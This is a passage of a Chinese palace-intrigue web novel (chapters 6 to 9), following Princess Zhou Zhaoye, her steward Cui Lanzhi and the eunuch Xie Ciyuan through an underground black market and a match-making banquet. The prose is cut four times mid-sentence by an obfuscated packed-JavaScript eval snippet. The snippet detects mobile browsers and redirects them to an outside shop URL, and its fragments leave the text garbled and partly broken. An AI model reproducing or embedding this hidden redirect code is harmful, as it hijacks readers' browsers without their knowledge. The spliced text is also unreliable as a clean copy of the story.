“今日不怕,明日不怕,来日再怕。”周昭野说,“我的命很贵重,值得这样的回报。你只说怎么选就好了。” 戏台子上换了幕,又一个武将抹了脸上来:“一字字臣忠子孝,一声声龙吟虎啸。快舌尖钢刀出鞘,响喉咙轰雷烈炮。呀!似这般冷嘲热挑,用不着笔抄墨描,劝英豪,一盘错账速勾了!” 而后漫漫十年,流水一般就过去了。 归去来戏台上仍旧在唱,恍惚间又是十年前的艳阳。 “郎君呐——”女角幽幽的声音回荡在楼阁间,“任凭它风吹残梦梦醒无,终可期无限爱心心富有,人生总有两难时,去意莫强留。” 周昭野轻声道:“人生啊,一晃眼,这么多年。” “兰止,”她认真地问,“将来有什么打算吗?” 半晌,崔兰止微微垂眸道,“我会一直陪着您。” 周昭野闻言就笑了:“这算什么回答啊?我问的是你真的想……” 崔兰止看着她,目光平静而深远。 “相识这么多年了,”周昭野道:“我不配听你一句真心话吗?” 崔兰止张了张嘴,似乎有什么东西梗在喉头,阻碍着他似的。他与周昭野对视,光线太暗,女子眸中却像是微微蕴着一层光。 什么打算…… 没等到回复。她放弃般道:“嗯,就是,前两天礼部上了个折子,上面说我,那个,那个,” 她肉眼可见地红起来了:“那个……” 那年尚且还只是个少女的她握着刀,马上就要被叛军杀了,说话颤抖了吗?那金枝玉叶位高权又重,貌美又心善呐。 这么多年来风雨相扶,这么多年来倾盖如故,这么多年来仰赖鼻息……就这样吧,还能怎么样呢?谁都希望事情这么发展,那事情就该这么发展。普天之下莫非王土,罪臣之后哪有资格不识好歹? 周昭野也没话了,一时间只能听到女角的唱词,百转千回的。 “我……”崔兰止蓦然笑了笑:“都听殿下的。” 周昭野张了张嘴,似乎想说什么,然而正此时变故陡起,另一侧突然有人‘噗通’一声跳下了莲池,像是喝醉了耍酒疯。然而那人一身短打,盖不住满身精悍的肌肉,神色非常警惕,左右观察着地形,像是在找有没有人跟着他。 一时间楼里气氛微妙起来,周昭野目光一扫,只见有几桌客人不着痕迹地起身离开,似乎都意有所指。而崔兰止人虽还坐在这儿,然而坐立难安,好似那狂客是他的救星。 “我都不知道自己这么在乎张彦。”周昭野笑了一声,“去吧,去给我抓个厉害角色。” 崔兰止刚欲起身,却又坐下,像是不愿把周昭野自己扔在这里。 周昭野道:“我又不是个泥人,长宁侯府难道还敢让我在这儿出事吗?” 崔兰止终于不再犹豫,仓皇起身离开了。只留下一桌珍馐 瞧那样子,好像我会吃了他。周昭野静静想,有那么难以接受吗? 我第一次见面就喜欢你,珍之重之。 当年怕你被家族连累,去求父皇放过你。他不肯,大骂我妇人之仁养虎为患,所以我在雪夜里跪到了天亮,双膝都失去知觉,晕了一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176673|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一夜。自知付出太多,你无以为报,所以后来没敢在你面前邀半点功。 喜欢一个人,应当的。我的一点私心,只是想把你留在身边。而后漫漫十年光阴如水流过,哪怕只有恩情,哪怕只剩习惯,就一点都不……一点都不行吗? 湖上夜风来来去去,面前的酒已凉了。前厅突然不知有谁喊了一声‘杀人了!’,又听一片刀兵声起来,像是开打了。 周昭野忽地推案起身,似乎再也呆不下去,冲进了阴暗的边廊。 “嘿哟。”迎面却撞上片胸膛,有点耳熟的懒散声音传下来,又像是有点没睡醒,“殿下可要小心啊。” “你……”周昭野脑子一懵,下意识道:“爱卿免……” 等等,这谁啊?怎么认出来的? 面前的人撤了一步,站在了一片红灯笼打出来的暗光下。一身锦绣暗光浮动,通身气派如鬼似妖,抄着手,拇指上戴着个深碧的玉扳指。 “殿下哭过?”来人微微俯身,似乎伸手要往她这边扶,好奇道,“是吓着了?” 周昭野猛一拂手:“不必!谢公公怎么在这儿?” 也不尊称声督公,公主说话真够难听的,我还没法挑理。谢辞渊含笑想,这一脑门子官司的,就因为那小长史心情差成这样,何至于此? 谢辞渊道:“咱家来看戏的。” “公公好闲情,孤就先走了。”周昭野没心思和他多缠,绕过他就要离开。 “也没什么闲情,就是闲。”谢辞渊懒懒道,“殿下走这头,可能会撞上刺客哦。” 周昭野猛地顿步,冷冷道:“谢公公什么意思?” 谢辞渊一笑:“殿下别误会。只不过今天归去来要死点人,殿下千金之躯,却孤身在此,多不安全啊。” “哦,公公真周到。”周昭野道,“那公公想怎的,护送孤一段儿?” “咱家实在是看殿下愁眉不展,才来给您解个闷儿,”谢辞渊做了个‘请’的手势,“就是不知道殿下是想看戏,还是想回家了。” 周昭野不知道他卖哪门子抽疯药,却被提起点兴趣:“公公想唱哪一出?” “杀人戏,灯火戏,逢场作戏。”谢辞渊道,“都是全挂的手艺,您点一出。” 周昭野笑了一声,也不知是叹是嘲:“百年总是逢场戏,有什么可挑的,公公带路吧。” 谢辞渊贴心地伸手给她,就像是积年的老太监服侍太后,要当个漂亮的扶手,恭敬得跟真事儿似的。周昭野摆摆手示意不用伺候,于是谢辞渊转身,绕过拐角,向阴暗回廊的深处去了。 他拦路,倒也不彻底,这么一转身竟然就像是真的要走。 周昭野看向自己原本的方向,那里通向‘归去来’外廊,一片静寂,不像是有刺客的样子。顺着出去找到随便哪个衙役亮明身份,也就回府了。 定国殿下一向自矜身份,不与恶人结朋党,做友邻。稍微行差踏错,左有长史,右有御史,像是太傅的戒尺,一句一句将她削成一个端庄持重的公主殿下。 然而这一晚,此时此刻,像是冥冥中有两条道路在眼前洞开, 仿佛只要跟着谢辞渊走了,有些事就会改变,光明端庄的坦途外横生出幽暗阴森的小路,不知那尽头会有些什么。 又能怎样啊?今夜真是多愁善感,我还非得听你们的吗?周昭野一哂,提步便跟上去了。 7.chapter 7 神仙也杀得 谢辞渊身上有种说不上的甜香味儿,周昭野想,这什么熏香,闻着怎么有点像梨? 也不知道他带的哪门子路,好像全是这楼里的暗道,然而雕金饰玉很是讲究,隔着楼板,另一侧的声音却真真切切的传了进来,有时是寻欢声,有时是厮杀声。 光影明了又灭,断续地洒在谢辞渊青金色的袍角上,袍角上绣着的莲纹亮了又暗。 周昭野生平没经历过这么微妙的境地,一头礼崩乐坏,又是男男女女又是杀人越货,一头是光线阴暗的隐秘长路,身边只有一个绝不算好人的立场暧昧的政敌。 ……倒也不能说是完全的政敌,只是大家井水不犯河水。 然而这么让人心绪纷乱的环境里却还能听到谢辞渊的足音,一起一落,均匀地敲在她耳朵里。 耳边尽是些淫词浪语,周昭野有点不自在,只好硬绷:“公公很熟悉这里啊。” 谢辞渊道:“常来。殿下没来过?” 周昭野莫名其妙道:“孤常来这儿干什么?” “唔……”谢辞渊委婉道,“风传殿下是风流人物。” 周昭野哼笑道:“女人掌权向来被编排一箩筐的床帏事,公公手握圣安司,竟然也信这些不着调的流言。” “就是因为手握圣安司。”谢辞渊冷静道,“才知道很多事并非风传,人如果有选择,男女老少都那样。” “哈,那干净人还就剩下太监了。” “殿下说话真难听。”谢辞渊道,“难道您和您那位长史,也是流言?” 身后的脚步猛然一顿,停下了。谢辞渊也停步,微微回头,好整以暇地观察那公主殿下生没生气。 公主殿下没生气。提及此人,她刚才浮躁的心绪似乎霎时都安静了下来。站在一地灯红淫靡处,目光清且重,像是重石缓慢坠落向一潭深水那样沉。 “当然不是了,”定国殿下磊落道,“我真心喜欢他。” 谢辞渊一愣。 他张了张嘴,似乎想说什么,然而没有说出来。 纵观他一生,见过太多人身不由己,言不由衷。为了种种原因顾忌软肋,顾忌名声,顾忌利益,不敢承认心中所爱,或者根本就没有爱,活得谨小慎微,到最后所得真的是所求吗?人所求究竟是什么呢?好像也很难说。 但通常来说,人的地位越高,越谨慎算计,才是他所见的世间的常态。 定国殿下与他绝非友善的关系,从前也无私交。他只是一时兴起,没期待真心的回答。 他垂眸:“那位崔长史,真是好运气啊。” 周昭野道:“所得并非所求,这也算好运气吗?” 谢辞渊失笑:“还有人这样不识好歹?” 周昭野却没回话,只是跟着他继续往前走了起来。谢辞渊没再回头,良久,听到身后一声漫长的叹息,似有痛意。 好像很多深情都被辜负,听得旁观者心里也不由一轻。 “到了。” 好像已经到了归去来地下,目之所及是一面十分气派的雕金石门。谢辞渊拢着手站在门口,将门环扣了三下,便静等着人来开。 周昭野新奇地左右打量,突然面前递过来一张金灿灿的东西:“殿下不妨戴上遮掩一二。” 她接过来一瞧,发现是一张半脸的面具,线条流畅,装饰着羽毛与宝石。 “稀奇,”周昭野新奇地接过来戴上,评价道,“不像是中原的东西。” 谢辞渊一哂:“大食的,殿下喜欢就留着玩。只是里头乱,恐怕惊扰殿下。” 石门一响,好似一个全新的世界在眼前洞开,声色如海般奔流而出,淹没了周昭野。 ‘归去来’地下简直像一个不为人知的喧闹城池,也不知纵深多么高远,四侧石壁与楼阁上燃着各色烛火宝石作为光源,四侧亭台楼阁一应俱全,风格奇诡,又像是天上又像是阴间,来来往往的人不多不少,有锦衣华服的,也有一身破烂斗篷的。 只是大部分人都遮遮掩掩,或是面具或是兜帽,少有将脸露出来的。 四周都飘荡着歌声,不知是从哪处楼阁里传出来的,看来这地下竟然也有享乐的所在。 一位黑裙的婢女提着一盏风灯,躬身走上前来为他们两个引路:“贵客再临了,还是天机堂吗?” 周昭野回头,只见谢辞渊也戴上了面具:“不必,你家主人今日在吗?” 婢女垂首道:“主人今日……” “他哪日都不见客,”谢辞渊道,“别逼我动粗。” 周昭野稀奇地想,这地界一见之下就知道此间主人不凡,谢辞渊真是走哪都不客气。 黑裙婢女似有踌躇,谢辞渊便扔了一块牌子在她手里。婢女见了牌子也不多言,转身便道:“贵客请随我来。” 路过了什么征兆杀手告示牌,情报中转站,洗白身份送人偷渡的茶楼等地,这地方的买卖看得周昭野眉头狂皱,终于到了一处小楼。 ……这主人家真是好客,还给备了甜汤。 二楼中间的紫檀小案上悬着个金吊子,咕噜噜地熬着糖水,沉沉浮浮一只梨。周昭野一闻就愣了一下,看向谢辞渊:竟然是一个味道。 “京城里竟然还有这样的地方。”主人家姗姗来迟,周昭野便与谢辞渊相对而坐,语气不明道,“真是让孤大开眼界。” 谢辞渊道:“黑市而已,历来都有,这里的主人家只是整理了一下,提供了一些庇护与场地。这儿是上下不管的灰色地带,只要遵守主人家的规矩,谁需要什么,大约都能在这里找到点门路——当然,前提是有钱。” “凭什么上下不管?” “凭水至清则无鱼,野火烧不尽,春风吹又生。还不如有个人出来统一管了。” 周昭野倒一默,半晌才说:“倘或太平盛世,哪里会有这样的……” “也只不过是多少的区别罢了。”谢辞渊道:“殿——大小姐这样感慨,是有澄清世道,涤荡寰宇的心愿吗?” 他眼前又闪过送到自己眼前来的,山一般的公文与奏折。 定国辅政,为千万百姓谋生计,这位殿下不爱标榜自己求声名,却默默做了许多年。这躺在祖荫下吸血的周家人还真出了个圣人吗? “唔。”周昭野道,“那倒也不是。” 谢辞渊挑了挑眉,周昭野道:“孤幼时跟太傅读书,太傅也说生民之苦,油淋火煎,天下读书人,应为生民立命。” 她十分坦荡地一摆手:“可生民之苦,罪不在孤啊!什么澄清世道涤荡寰宇,多少明君贤臣披肝沥胆多少年都做不到,我是谁我就做?我是玉皇大帝?我做到了你把扳指送我?孤不是坏人,但善得也有限。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182703|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢辞渊:“……” 他看了看自己手上的翡翠扳指,委婉道:“这东西倒也没这么贵。” “稀奇,谢督公怎么还短人家女孩儿的用度?”一个含情带笑的声音插了进来。 一位锦衣公子正缓步进了小楼,容姿端丽,丰神俊朗。哪怕见惯了世面的周昭野也眼前一亮。 他也不见外,径直走到他们面前来坐定,抱怨道:“督公怎么照面就威胁我家丫鬟?这不成心坏我规矩吗?” 听语气似乎跟谢辞渊很熟稔。周昭野瞥了一眼谢辞渊,心想这么大费周章,就要带我来见这个人? “这位是……”来人手里握着一把墨玉折扇——这冬天用折扇的纨绔烧包——他指了指周昭野,好奇道,“难不成是督公的——” 这话叫他一说好像立刻有点下流,谢辞渊道:“身份别打听,咱家只劝世子爷尊重些。” 世子爷。 ‘归去来’是长宁侯府私产……难道是长宁侯府世子? “哎您这人,”这世子活泼泼一笑,“也不告诉我这位仙子的身份,上来就揭我老底,您也不地道呀!” ‘这位仙子’。 周昭野深深吸了口气。 “世子爷这身份本来也瞒不住,只要知道‘归去来’是长宁侯府私产,难道还有别的主人家能在这儿称大王吗?”谢辞渊倒给周昭野介绍道,“这位是长宁侯府世子,叶锦和。” 周昭野道:“叶世子万安。我……”她本不想隐瞒身份,可话到嘴边,突然一拐:“我姓崔。” 也不知是不是错觉,好像听见谢辞渊在喉咙里轻轻‘呵’了一声。 叶锦和笑眯眯道:“崔姑娘万安。” “不如来聊聊正事吧,谢督公找我干嘛?”叶锦和转而又道,“要搞个大生意?” 谢辞渊并不卖关子:“郑彦。” 本来准备喝茶的周昭野一愣,手不由自主的放下了。 “郑彦。”叶锦和重复了一遍,笑意收了,“前一阵子死在圣安司门前的郑郎中,闹得满城风雨的。可这尸体都被圣安司收走了,督公想知道什么,还犯得上来问我吗?” 我犯得上。周昭野不言,想到那封信。 风陵津渡小重楼,究竟是什么? 谢辞渊只问:“这生意世子爷做不做?” 叶锦和道:“做,谢督公的生意,谁敢不做?” 见周昭野似有迷茫,叶锦和贴心地解释道:“崔姑娘不晓得,我‘归去来’做三类生意。第一类也就是楼上的酒肉生意,喝酒吃肉听曲儿看舞,包您满意;第二类是掮客生意,也就是中间人,无论您想找谁做什么事,只要银子到位,都给您介绍个清楚明白。” “第三类就是和本楼中人做生意,出得起本楼中人提的价格,本楼什么事都包摆平的。” “世子爷口气倒大。”周昭野不禁失笑,“皇帝也杀得?” 叶锦和含笑道:“神仙也杀得。” “谢督公一定要见我本人,想必是要做第三类生意了。”叶锦和道,“也罢!生意人开门迎客,没有推拒的道理。我这人别无所长,只是知道些别人不知道的事情,可以卖督公三个问题。” 谢辞渊道:“咱家只有两个问题。一,郑彦到底为什么来京城;二,郑彦跟你归去来做没做过生意?” 8.chapter 8 一件要紧东西 周昭野眉心一跳。 她猜做过。 “如果不是原来的地方呆不下去,谁会千里迢迢来找死?”叶锦和道,“郑郎中手里,有一样很要紧的东西。他自知已经没有生路,这样要紧东西却必须托付给一个信得过的人,所以北上进京,想找一个局外人。” 周昭野下意识问:“什么要紧东西?” 叶锦和市侩地问:“这是第三个问题?” 谢辞渊道:“是。” “和钱有关,”叶锦和比了个夸张的手势:“和很多很多钱有关。” 郑彦的确和归去来做过生意。只不过不知是不是只有公主府这一桩事。 他们再回到地上的时候归去来好像被一群土匪进来洗劫过,满地都是翻倒的桌椅,似乎发生了不少恶战。 夜雨淅淅沥沥,谢辞渊不知从哪拿到了一柄纸伞,引着周昭野走过风雨回廊,早有马车备好了等在那里。 周昭野缓步走向前方,腰上挂着那个面具,看来确实不打算还了。她道:“就算没到有仇的地步,你我之间也不应该是这样和善的关系吧。” 谢辞渊道,“咱家只是好奇罢了。” “好奇什么?” “不知道。”谢辞渊道,“所以很好奇。” 周昭野莫名其妙:“哈?” “元熙三年七月,工部张良玉因口出狂言辱及咱家先人而获罪,圣安司以此为由头查抄了他全家,果然也查出他贪腐朝廷公款,多达二十万两白银。因此判了张大人秋后问斩,全家流放,女眷没入教坊司。谁知那软骨头挨不住刑,招供后两天就死在圣安司内狱了。” 周昭野‘啊’了一声。 “当时朝野震动,只说这是我谢辞渊重刑下的冤狱,那二十两白银并非不义之财,而是因他得罪咱家而伪造的赃款。御史台弹劾的奏折简直像雪花一样,但奈何没人敢出这个头,于是文官们联合内阁逼问到了殿下座前,要殿下出面讨一个公道,肃清我这祸国的阉党。但殿下闭门不出,任凭老臣们吃了个憋。” 此人示外的性格一贯计较名声,多少人获罪都是因为嘴上不恭敬,没想到此夜此时此刻自己说着什么‘祸国的阉党’,语气竟然很平和,多心胸宽广似的。 周昭野稀罕地笑了一声:“哦,对,是有这么回事儿。” 谢辞渊道:“或许也有一部分是好奇,那年殿下为什么沉默不语吧。” “因为张良玉真贪了,确有其事。”周昭野道,“就算犯在孤手里,也是这么杀。凡事一码归一码,犯不上因为这个找你麻烦。不仅张良玉,许多事于孤来说,都是犯不上,不至于。” “哪怕老臣伏地跪求,危及根基?” “孤乃金枝玉叶,”周昭野轻松道,“金枝玉叶不怕威胁。” “好的殿下。” 谢辞渊被逗笑了,待送周昭野至马车前,送她上车,又道:“关于那小长史,咱家倒多一句嘴。” 周昭野停了步。 谢辞渊道:“殿下金枝玉叶,当知这世间唯有强权才是唯一的道理。” “何必在乎其他人愿意不愿意呢?”谢辞渊淡淡道,“哪怕硬留在身边压他演戏,演上八十年直到盖上棺材板,怎么不算情深意长的一生一世?假的也成真了。” “你……”周昭野一愣,下意识道:“可这样不公平……” “命都是殿下雪夜跪求来的,有什么资格讲公平?”谢辞渊道,“殿下不是坏人,可善得也有限。” 他命都是我跪求来的,有什么资格讲公平?如果你也费尽心血养了花,会随便让它被别人抱走吗? 养了快十年,就算凋谢,也该凋谢在这个院子里! 公主府里已经快乱成一锅粥,殿下出了个门竟然离奇失踪,跟崔长史走散了,那可是定国殿下!要是没了,他们阖府上下…… 崔兰止白着一张脸站在正堂里打发下人出门去找,说不出的懊悔。 不该把她自己扔在归去来的,那地方本就混乱,他们又是微服出行,阿野完全不会武功……就算因为聊到了婚事他心下不畅快,怎么能就把她扔在那儿就走! 万一她出了事,万一她受了伤,万一,万一她回不来…… 崔兰止头痛欲裂,管家得了救星一样跑进来:“长史!殿下回来了!” 崔兰止一抬头,只见周昭野紧随其后,身上却不知怎么的都湿透了,像是淋了雨。他再顾不得什么,急切地走上前去,也不在意人前的称呼了,一个箭步上前一把扶住她,里里外外的检查:“阿野!你去哪儿了?!没事吧?没受伤吧?!” 公主府十年来,殿下与长史确实偶有亲密之举,却从没在人前不遮不掩。然而管家训练有素,见此情景,迅速招呼着下人们退下了,渐渐的正堂里只剩下他们两个。 崔兰止搓着她的手:“你手好凉,快回银安殿,已经烧好了热水,你真的没受伤吗,你到底去哪儿了?” 这样亲热,这样体贴,这样在乎我。周昭野垂眸看着崔兰止焦急的脸,又想到花和真真假假。 十年前跪到失去知觉才救回来的性命,为什么不能是我的? “我碰上了谢辞渊。”周昭野道,“‘归去来’地下别有洞天,你知道吗?” 崔兰止道:“什么?谢辞渊带你去那下面了?” 他大怒:“他放肆!那是什么肮脏地方,也敢带你去?!” “哎,我又不是个泥人,还挺有趣的。”周昭野摆手示意没事,又将腰上的面具递给他,“这个收好。” 崔兰止见那面具面色又是一变,显见也知道是哪儿来的。便又道,“阿野,那地方真的太……” “兰止,”周昭野温和道,“收起来吧。” 崔兰止一顿。 很快的,他便收了神色,接过那面具,敛眉垂目道:“是。” 周昭野又道:“我也不是要摆架子,只是我不能是被你们供在府里的殿下,京城的明处暗处,我多少也该有所了解。” 崔兰止叹了口气:“还是不了解得好,您稍微做错一步,改天御史台的弹劾奏折就要送上来了。” 周昭野心想那和我行差踏错也没什么关系,御史台只是讨厌女人,可皇帝实在不得用,导致大家都只好捏着鼻子忍受彼此。 “归去来里那人是谁,你们追到了吗?” 崔兰止神色一凝:“没有。追到归去来外,迎面撞上另外几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187230|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波人,其中我只能认出来有一波是圣安司的人,另外两波都很面生,那人自知脱逃无望,便自尽了。” 周昭野疑道:“另外还有两波人?” “是,完全看不出来路,功夫都不错,留不下来。圣安司也没有穷追,那人自尽后,其他人都没有纠缠,我把尸体带回来了。” “连圣安司也没有纠缠?”周昭野倒疑惑:看谢辞渊做派,明显是追查着张彦的事,这样的线索,竟肯拱手让人? “圣安司的人有话没有?” “他们把尸体留下了,什么都没说。”小顺子轻声细语道,“果然如督公所料,那最后把尸体带走的人,似乎是定国殿下府上的长史,崔兰止。” 谢辞渊道:“果然。” 谢辞渊自己在宫外有所逾制的大宅子,名字也很朴实无华,就叫‘谢园’。本来是一位一品大员的官邸,后来那大员犯事被撸了帽子,宅子也就被罚没了。 后来叫皇帝赏给了谢辞渊,谢辞渊其人是个穷奢极欲的享乐性子,只因幼年吃了太多苦,飞黄腾达了后就再也不委屈自己,谢园叫他收拾得比王府也不寒酸到哪儿去。 谢园内引了一汪湖水,直接连同京城内河棠溪,乃是一汪活水,隆冬腊月也冻不严实,不进宫又下雪的日子,他一向在湖心亭看雪。 手边小案上还咕嘟着他的甜汤——小顺子看了那咕噜噜冒泡的金吊子一眼。谢辞渊翻了翻眼皮:“想吃?” 小顺子连忙道:“您手艺又精进了,隔着那么老远,奴才就闻着味儿了!” 谢辞渊道:“自己盛。” 小顺子也不客气,只拿了玉碗开盛,还记得给谢辞渊带一碗。 这位倒也没什么别的爱好,就喜欢喝口甜水,还喜欢自己做,走哪都随身带着他的金吊子,还爱分享,谁问都能分一碗,小顺子一度觉得搞不好就算镇北侯要,他也能分享。 只是越来越少有人敢跟他张这个嘴,有时候小顺子觉得他有点孤独,因为他不会主动跟人分享,只一味的烹饪。 今天又是个梨,他也太爱吃梨。这果子兆头也不好啊。小顺子心里碎碎念。 谢辞渊不吃,好像只是盛出来看。他展开一张破破烂烂的纸条,递给小顺子。小顺子接来一看,只见那纸条上语焉不详地写着:上三左七,底部中,天下为公。 小顺子:“?” 这张纸条他倒是知道,他们拿到了张彦的尸体,搜遍全身上下,这人简直穷得要尿血,只有这张纸夹在鞋底的夹缝里,藏得很严实,看起来像个要紧物件。 谢辞渊颇感有趣道:“咱家今天问了叶锦和一嘴张彦的事,三个消息,你猜他要价多少?” 小顺子道:“归去来一向贵货贵卖,贱货贱卖。这张彦……五百两?” “再猜。” “一千两?” 谢辞渊眯着眼睛笑起来:“他要西南六省三年的贡茶押运权,专供内廷。” 小顺子心想叶世子终于疯了?嘴上道:“张彦竟然这么重要?” “至少在叶锦和心里,他值这个价。”谢辞渊把那纸片抽了回来,“他说张彦手里有一件非常要紧的东西——你看这东西,像不像个方位?” 9.chapter 9 请客吃饭 周昭野评价道:“我真是觉得礼部和太后都挺有毛病的。” 崔兰止正在她对面奋笔疾书地写着些什么东西,闻言头也不抬道:“又怎么得罪殿下了?” 自从过年后,崔兰止似乎逐渐想通了什么,开始偶尔会在公主府留宿,只是并不逾矩。周昭野心下总觉得有哪不对,不过她向来是个开朗的,安慰自己形势一片大好。 “刚过完年要选秀,天气还这么冷,大小姐们一个个裹得粽子似的,哪儿好看啊?” 周昭野打了个哈欠,边上的婢女按住她:“殿下别动,花钿要贴歪了。” 她只好乖乖不动,任凭婢女在她脸上描来画去。她严妆华服,难得把自己收拾得像个正经公主。 前两天宫里来人通传说太后要在御花园办赏梅宴,邀请定国殿下也去。 周昭野一向懒得弄这些家伙事儿,一早起来拖拖沓沓到快午时才收拾了个差不多,照这个时间看肯定是要迟到了。 崔兰止道:“选秀的日子不是初定在了立夏前后吗?” “那是明面上的日子,做给外人看罢了。”周昭野随口道,“我看了这次的宴会单子,一同请了太后娘家的三位侄女,太后娘娘这心思也忒明显了,真正的选秀就是今天呐!赏梅宴,哈哈,有才。” 如今的太后娘娘正是当初的皇贵妃,当初因抚养太子而被封后,与她那父皇的恩情看着其实也就那样,双方都对太子更看重些。 娘家倒是朝中的中流砥柱,王阁老在内阁很有话语权,是以周昭野行事不看僧面看佛面。 不过她与贵妃娘娘从最开始就处不来,无他,贵妃娘娘太爱说弦外之音,周昭野私下评价为应该是受了太多后宫的戕害。 而她是个少时就提刀砍人的直性子,弦外之音这东西有时是品不明白,有时则懒得品。 崔兰止道:“殿下对此事怎么看?” 周昭野道:“我能有什么看法?爱娶谁娶谁。” 恐怕不愿意娶。 御花园东侧有一片梅林,名‘寒梅苑’,太后娘娘颇有巧思,在林中错落有致地设着席位,世家小姐们懒得动可以坐着赏,要是愿意动呢,曲径通幽,走着走着就可以远离人群。 远离人群的皇帝此时如坐针毡。 他边上正是王阁老的孙女,比他还小三岁,看着一团孩气,但很认真地寻找话题道:“陛下认为今日这花如何?” 皇帝沉默半晌,道:“不错。” 王家孙女端肃地吟道:“‘雪虐风饕愈凛然,花中气节最高坚。’臣女父亲在家时常教导臣女,为人做事正应如这梅花一样,做气节高坚的人,方不辜负陛下教化万民的恩德。” “哈哈,雪虐风涛又凛然,”皇帝有点冷了,紧了紧狐裘,表达同意,“今天是很冷,这风真是滔滔不绝。” 这对话听得周昭野双眼一闭,她快要窒息了。然而她还是没有走出去,试图再给这二位一些机会。 王家孙女接过皇帝递来的饼,吃了两口。周昭野心想,哎,对了,不会说话就吃饼。 然而气氛陷入了尴尬的安静。 又过了半晌,周昭野简直感觉自己脚都要冻麻了,皇帝才道:“冷不冷?回宫吧。” 王家孙女清了清嗓子:“臣女不冷,在严寒中亦不能……” 周昭野受不了了,走出去打断了这一场对话:“陛下在这儿呢,让我好找。” 皇帝一抬头,大喜过望:“姐姐!” 他也顾不上王家孙女了,站起来就向周昭野奔来,浑似乳燕投林。周昭野一把扶住他,看那小姑娘坐在原地,好像有些无措似的。 她心下暗暗叹了口气,拍了拍皇帝的肩,便吩咐嬷嬷们把那王家小姐送回宫殿去找太后娘娘暖暖,上点热汤什么的。 什么严寒中的气节,小姑娘脸都冻得像个苹果了,太后作孽,皇帝也是个瞎子。 皇帝从小跟周昭野便感情深厚,只是从小就懦弱懒惰,太傅留的功课都要推给周昭野帮忙做。 元后是个心疼儿子的人,小太子每每哭说劳累,立刻就抱起来哄。再后来交给皇贵妃抚养,皇贵妃为了讨他喜欢,更是宠溺个没边。 周昭野时常撂下脸来教导,就会伤害姐弟感情。而后来小太子登基了,周昭野就半个字都没说过了。 姐弟感情就又得到了些许缓解。 周昭野开玩笑道:“哪家小姐啊这么有气节?” “还能是谁家!”皇帝嘟囔道,“王阁老家呗,母后说王家的家教好,娶妻娶贤,王家小姐她看着长大,错不了的。” 周昭野道:“年纪小了点吧?” 皇帝道:“母后又说少年夫妻恩爱深啊。” 他们姐弟许久未见了,皇帝也想脱逃赏梅宴,正好为了与王家小姐能多相处,太后做主挥退了一众服侍的宫人。 一片清净,皇帝便跟着周昭野慢慢在梅林中踱步:“姐姐你来得好晚,朕还以为你不来了。” “弟弟的终身大事,怎么能不来看看?”周昭野道,“我看你和她在这儿坐了好半天,还以为是你喜欢人家呢,谁知道你半天也不说话。” 皇帝道:“半天不说话怎么会是喜欢她!半天不说话,就是不喜欢啊!” 周昭野脚步一顿,想起总是半天不说话的另一个人。莫名的隐痛轻飘飘拂过心头,她道:“也不一定吧,说不定多相处就有感情了呢。” “才不会呢。”皇帝果断地反驳道,“最开始不行,后来肯定也很难行。姐姐你不懂。” 周昭野哼笑道:“做姐姐的还不懂?” “你肯定没有朕懂。”皇帝道,“虽然没有大婚,朕也有妃嫔啊。这种事经历了才懂,姐姐你现在不会明白的。” 周昭野一时无法反驳:“那陛下怎么不跟王家小姐直说?堂堂天子,难道还怕小女孩哭鼻子?” “朕是怜香惜玉的人。”皇帝老神在在道,“何况多少要照顾母后的面子。姐姐你知道,男人不好拒绝又不喜欢的时候,就会又不离开又沉默的。” 周昭野不知该做什么表情,只好笑了笑。 然而皇帝叹了口气:“不过朕也不是傻子,母后的意思,朕心里明白。她来朕这里已经明里暗里说了很久,只是朕也不好明面上拂了母后的好意,否则岂非不孝。” 周昭野道:“其实如果真的不想娶,也没什么不能推拒的。” “姐姐说得对。”皇帝道:“谢卿昨日也这么说,让朕不用担心。” 周昭野一激灵:“谢公公怎么说?” “说朕贵为天子,就不该有任何事让朕烦心,这事交给他来处理。”皇帝非常满意道,“谢卿真是我朝肱骨之臣。” 周昭野心想真是好一个奸宦,他想干什么? 周昭野道:“谢公公现在在哪儿?” 宣政殿偏殿。 宫人来来往往,偌大的偏殿此时已被挂满了各路美人画像。谢辞渊捧着一盏茶,眉目不惊地站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 